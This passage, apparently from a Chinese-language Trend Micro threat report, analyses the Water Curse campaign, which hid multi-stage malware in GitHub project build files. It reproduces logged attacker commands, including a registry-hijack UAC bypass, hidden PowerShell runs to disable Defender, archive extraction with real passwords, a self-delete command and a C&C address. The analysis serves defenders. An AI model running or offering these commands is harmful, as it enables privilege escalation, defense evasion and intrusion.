克隆、编译、入侵:水咒行动在GitHub上的开源恶意软件陷阱
趋势科技™托管检测与响应(MDR)团队发现了一个由活跃组织Water Curse策划的威胁活动。该威胁行为者利用GitHub(最受信任的开源软件平台之一)作为武器化仓库的分发渠道。
关键发现
- 新识别的威胁行为者Water Curse使用武器化的GitHub仓库分发多阶段恶意软件。至少76个GitHub账户与该活动相关,恶意负载嵌入在构建脚本和项目文件中。
- 恶意软件支持数据外泄(包括凭证、浏览器数据和会话令牌)、远程访问以及在受感染系统上的长期持久性。
- Water Curse的活动构成供应链风险,尤其针对依赖开源工具的网络安全专业人士、游戏开发者和DevOps团队。
- 审核红队、DevOps和开发环境中使用的开源工具,尤其是来自GitHub的工具。在使用前验证构建文件、脚本和仓库历史记录。
- Trend Vision One™检测并阻止本博客中讨论的IOC。有关趋势科技解决方案如何帮助获取Water Curse等威胁的丰富上下文,请参阅本报告的后续部分。
初始访问
在此实例中,我们发现了多个托管在GitHub上的开源项目文件,其中包含嵌入式恶意软件。恶意负载通过GitHub的codeload.github.com域(用于仓库归档的标准端点)通过ZIP存档下载分发。我们识别了两个显著的URL:第一个在撰写本文时仍然活跃可访问,第二个已被撤下或无法访问:
| 下载文件 | GitHub URL |
|---|---|
| Email-Bomber-SMTP-main.zip | hxxps://codeload[.]github[.]com/FrancoK10/Email-Bomber-SMTP/zip/refs/heads/main |
| Sakura-Rat-Hvnc-Hidden-Browser-Remote-Administration-Trojan-Bot-Native-main.zip | hxxps[://]codeload[.]github[.]com/Delimbo/Sakura-Rat-Hvnc-Hidden-Browser-Remote-Administration-Trojan-Bot-Native/zip/refs/heads/main |
表1. 包含恶意负载的URL
执行
项目文件包含在<PreBuildEvent>标签内的恶意批处理文件代码片段,该代码在编译时触发。嵌入的恶意代码会丢弃一个VBS脚本用于下一阶段:
|
|
VBScript文件使用cscript.exe执行,然后丢弃并执行基于PowerShell的第二阶段脚本。该脚本执行解密或加载额外负载,使用自定义密钥派生例程:
创建的文件:C:\Users\<user>\AppData\Local\Temp\ohQ13W\FIfw.ps1.ps1
生成的PowerShell脚本被混淆。根据趋势科技Vision One日志,它执行了以下操作:
| 操作 | 备注 |
|---|---|
| 查询域 | rlim[.]com, github[.]com, popcorn-soft[.]glitch[.]me, pastejustit[.]com, pastesio[.]com, www[.]7-zip[.]org |
| 在%programdata%文件夹下下载7-Zip工具 | C:\ProgramData\sevenZip\7z[.]exe |
| 下载受密码保护的存档文件 | C:\Users<user>\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7z |
| 使用7-Zip工具在本地Temp文件夹下提取下载的存档 | “C:\ProgramData\sevenZip\7z[.]exe” x “C:\Users<user>\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7z” -o"C:\Users<user>\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9" -phR3^&b2%A9!gK*6LqP7t$NpW -y |
| 运行Searchfilter.exe | C:\Users<user>\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\SearchFilter.exe |
| 修改日志文件 | C:\ProgramData\PrinterAdapter_xdlp.log |
表2. PowerShell脚本执行的操作
提取的文件似乎是一个Electron应用程序。
包中包含一个名为SearchFilter.exe的文件,当从Temp目录执行时,表现出与系统侦察、权限提升、规避和反调试技术一致的后执行行为。
存档文件SearchFilter[.]7z (4359ce22-2f6d-43b8-b34d-063d74715562.7z) 丢弃了以下内容:
C:\Users\xxx\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\SearchFilter.exeC:\Users\xxx\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7zC:\Users\xxx\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\resources\app.asar
解包app.asar揭示了Main.js,其中包含多个恶意的、混淆的命令。(Main.js : d94f476b2aceaf4e83197475280f89ecbe3b8d35 = Backdoor.JS.DULLRAT.EF25)。
从趋势科技Vision One日志中,它执行以下操作:
| 操作 | 命令 |
|---|---|
| 查询系统上的活动网络会话 | net session |
| 检索操作系统架构(例如,32位或64位) | powershell -ExecutionPolicy Bypass -Command “(Get-WmiObject Win32_OperatingSystem).OSArchitecture” |
| 检索系统中的逻辑处理器(CPU)数量 | powershell -ExecutionPolicy Bypass -Command “(Get-CimInstance -ClassName Win32_ComputerSystem).NumberOfLogicalProcessors” |
| 查询系统上安装的视频控制器(GPU)名称 | wmic path win32_videocontroller get name |
| 运行反调试脚本,可能隐藏或混淆运行中的进程以避免分析或调试 | powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File “C:\Users<user>.vs-script\antiDebug.ps1” |
| 通过劫持Windows注册表中的ms-settings协议处理程序执行UAC绕过 | powershell.exe -ExecutionPolicy Bypass -Command “try { New-Item -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Force; New-ItemProperty -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Name ‘DelegateExecute’ -Value $null -Force; Set-ItemProperty -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Name ‘(default)’ -Value ‘C:\Users<user>\AppData\Local\Temp\31c85ac6-c78b-4c07-974c-3132f0f776d7\SearchFilter.exe bypass’ -Force; Write-Output "Regedit manipulation done."; } catch { Write-Output "Failed to create or set registry keys."; exit 1; }” |
| 运行disabledefender.ps1 | /d /s /c “PowerShell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File "C:\Users<user>.vs-script\disabledefender.ps1"’ -WindowStyle Hidden -Verb RunAs”” |
| 尝试自动提升权限 | powershell.exe -ExecutionPolicy Bypass -Command “Start-Process ‘C:\Windows\System32\ComputerDefaults.exe’” |
| 执行清理脚本 | try { Remove-Item -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Recurse -Force; Write-Output “Cleanup completed.”; } catch { Write-Output “Failed to remove registry keys.”; } |
| 可能用于日志跟踪 | C:\ProgramData\PrinterAdapter_xdlp.log |
表3: Main.js文件执行的操作
PowerShell脚本antiDebug.ps1以编程方式枚举并终止与分析、调试和渗透测试工具相关的进程。该脚本强制执行此阻止行为60秒,可能是为了破坏或延迟沙盒或自动化环境中的动态分析,从而逃避早期检测。
另一个PowerShell脚本disabledefender.ps1通过为整个C:\驱动器配置Windows Defender排除项并选择关键系统可执行文件来积极削弱主机防御。它进一步尝试通过执行以下操作来禁用系统还原:
- 删除现有的卷影副本
- 停止卷影复制服务(VSS)
- 修改相关注册表键以防止系统还原被启用或配置
这些操作共同旨在损害恢复机制并增加恶意负载的持久性和影响。
持久性
SearchFilter.exe文件通过CLI命令创建计划任务:
|
|
CLI命令创建一个名为“BitLocker Encrypt All Drives”的计划任务,该任务在00:08运行一个恶意可执行文件(taskhostw.exe)及其Electron启动器和恶意源代码(resources\app.asar)。它配置为运行9999小时59分钟,执行一次,并每五分钟重复一次。
额外的计划任务配置为在00:00(午夜)启动,每个任务具有异常长的执行窗口9999小时59分钟。这可能是确保长期任务连续性的策略。任务表现出以下行为:
- RegisterDeviceSecurityAlert:执行名为mbam.ps1的PowerShell脚本,每58分钟重复一次。此任务可能负责维持持续的恶意活动或重新建立持久性。
- RegisterDevicePowerStateChange:从DiagnosisSync目录启动名为Microsoft.exe的可执行文件,重复间隔为60分钟。此组件可能具有与权限维护、数据收集或命令与控制(C&C)通信相关的功能。
- RegisterDeviceNetworkChange:在OneDrive目录内运行taskhostw.exe,每10分钟重复一次。这种频繁执行表明可能在监控网络状态变化或维持快速响应能力中发挥作用。
这些计划任务旨在逃避检测并确保在重启和用户会话中持久执行。它们伪装成合法的系统或诊断进程,同时以系统权限运行,授予对主机的最高级别访问权限以维持控制。
一旦位于OneDrive目录内的taskhostw.exe被执行,它会启动以下内容:
- OneDriveCloud/resources/manifest/thread_f= 6894aa7c5bb643b8c32c10f6c409bbaae250ea85
- resources\app.asar (来自taskhostw) = 2fc0686693afd37778cba68702986065e995f765
- OneDriveCloud/resources/manifest/config.json = 5cd53d94caf0e811b82bad958b34322eb082567f
以下是控制恶意软件行为的配置值(标志、进程名称、互斥体和指示器):
- B_T= Boot
- cid= Client ID
- ra= RegAsm.exe
- dw=datawarehouse
- dwm= dwm.exe
- m_true= 内存操作或注入
- b_f_true = 引导文件或后台文件,确保持久性
- k_f_true = 键盘记录功能,恶意软件可能记录击键
- t_f_true: 线程注入,允许恶意软件将恶意代码注入运行的线程/进程
- c_true: 外部服务器或C&C基础设施
- “mutex”: { “bootMutex”: “boot_kFPJjWA9iwHN”, “kernelMutex”: “kernel_RATxtkcxKC8I”, “threadMutex”: “byunknown998732167231”, “cryptwMutex”: “xxx-J3TDLY” } 创建互斥体以确保一次只运行一个实例
PowerShell脚本68d9273e-3390-4ec3-b697-baa2ddf701ba.ps1从配置文件Config.json中的cmd和cmd2字段解密。行为分析揭示了以下序列:
- DLL文件加载尝试:脚本检查各种名为thumbcache_XX.dll的DLL文件的存在,并尝试加载它们。这些DLL可能用于促进代码注入或支持恶意执行阶段。
- 加密负载文件:加密组件存储在以下路径:
- OneDriveCloud/resources/manifest/thread_f
- C:\Users<user>\AppData\Local\Programs\Common\OneDriveCloud\resources\manifest\boot_f
- 进程注入到RegAsm.exe:这些加密负载被解密,然后注入到合法的.NET程序集注册实用程序RegAsm.exe(通常位于C:\Windows\Microsoft.NET\Framework\或Framework64)。此技术通过伪装成受信任的系统进程来逃避检测。
- PowerShell脚本自删除:执行后,脚本触发自删除以覆盖痕迹:objectCmd:“C:\WINDOWS\system32\cmd.exe” /c timeout 1 && del /Q “C:\Users<user>\AppData\Local\Temp\68d9273e-3390-4ec3-b697-baa2ddf701ba.ps1”。
- 最终阶段执行:注入后,RegAsm.exe进程继续运行,恶意负载在内存中。此执行由文件thread_f、boot_f和可能另一个名为kernel_f的文件(假定位于System32)促进。
- 出站C&C通信:与已知的Remcos RAT C&C IP 46[.]101[.]236[.]176建立出站连接。
收集和外泄
SearchFilter.exe利用先前下载的7z.exe实用程序提取额外的存档,该存档似乎是另一个基于Electron的应用程序。7z.exe工具用于解包受密码保护的存档(fqxxoi.7z)到伪装成合法Windows Vault路径的用户目录:
CLI命令:"C:\ProgramData\sevenZip\7z.exe" x "C:\Users\<USER>\AppData\Local\Temp\fqxxoi.7z" -pSaToshi780189.! -o"C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles" -y
提取的文件包括:
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\locales\*.pakC:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\Squirrel.exeC:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\UserRoamingTiles.7zC:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\taskhostw.exe
然后使用7-Zip工具提取存档UserRoamingTiles.7z,这是另一个基于Electron的应用程序:
CLI命令:C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\ProgramData\sevenZip\7z4.exe" x "C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles.7z" -o"C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles" -y"
提取的文件包括:
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles\NVIDIAContainer\*C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles\NVIDIAContainer\NVIDIA Control Panel.exe
然后从提取的位置运行此可执行文件,可能伪装成合法组件并逃避检测。执行后,它收集系统和网络信息,可能用于环境分析、反虚拟化检查和目标逻辑。观察到的行为包括:
- 使用curl通过CLI命令检查公共IP以获取网络上下文:
curl hxxp://api[.]ipify[.]org/ --ssl-no-revoke - 通过WMI/WMIC查询(BIOS、CPU ID、内存速度、GPU名称、主板供应商、UUID、硬件配置文件GUID)进行硬件指纹识别
- 使用Windows版本查询和磁盘空间信息进行系统分析
- 使用tasklist进行进程发现,过滤Chrome和Edge等浏览器
- 从